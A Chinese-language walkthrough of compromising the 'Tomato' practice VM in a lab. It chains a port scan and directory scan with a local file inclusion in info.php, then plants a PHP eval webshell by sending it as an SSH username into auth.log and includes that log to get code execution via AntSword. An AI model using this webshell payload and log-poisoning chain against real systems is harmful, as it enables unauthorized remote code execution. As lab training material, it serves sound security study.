Tomato靶机是一个用于渗透测试和漏洞研究的虚拟机。
环境准备
攻击机(Kali Linux)IP:192.168.252.134
目标机 IP:192.168.252.133
这里我两台虚拟机都是NAT模式
渗透步骤
1.端口扫描
这里我没用kali自带的 我用的物理机上的端口扫描 结果一样
扫出来发现几个特殊的端口
因为2211 端口后面对应着SSH服务 所以这里试着去访问了下8888端口 出来了登录弹窗
2.目录扫描
接着 扫描下目录看看怎么个事
dirb http://192.168.252.133
试着去访问下 antibot_image 发现下面有个info.php
进去该网页 查看源代码 发现存在文件包含漏洞
3.文件包含漏洞
在URL后面输入 ?image=/etc/passwd (用image参数传入想要获取的文件路径)
成功显示,说明存在文件包含漏洞
4.报错链接注入木马
ssh '<?php @eval($_POST[1]);?>'@192.168.252.133 -p 2211
字符串格式:
'<?php @eval($_POST[1]);?>'
这部分是一个PHP代码字符串,它被直接放置在SSH命令中。这段PHP代码的功能是从$_POST[1]
获取数据,并尝试执行它作为PHP代码(@eval
)。这通常被用于远程代码执行攻击场景中,允许攻击者通过网络发送任意PHP代码并执行。SSH 命令:
ssh
是一个命令行工具,用于通过网络建立安全的Shell会话。'<?php @eval($_POST[1]);?>'@192.168.47.140
这里把前面的PHP代码字符串当作用户名来使用,这是不正确的,因为SSH中的用户名应当是实际的用户账户名,而不是这样的代码。-p 2211
指定SSH连接使用的端口为2211,而非默认的22端口。192.168.47.140
是试图连接的远程服务器的IP地址。
综上所述,这个命令试图将一段恶意的PHP代码作为用户名的一部分传递给SSH命令,这在正常情况下是不会工作的,因为SSH并不接受或处理PHP代码。会将我们的一句话木马带到Linux 的日志文件中。
然后在网页端查看ubuntu报错信息:/var/log/auth.log
在这个文件中,你可以找到关于登录尝试、密码更改、权限变更等事件的信息。例如,当有用户通过 SSH 登录服务器时,无论成功还是失败,都会在
/var/log/auth.log
中记录相应的消息。
4.蚁剑链接
使用中国蚁剑进行连接
上传了一句话木马的路径:http://192.168.252.133/antibot_image/antibots/info.php?image=/var/log/auth.log
连接密码是刚刚POST传入的:1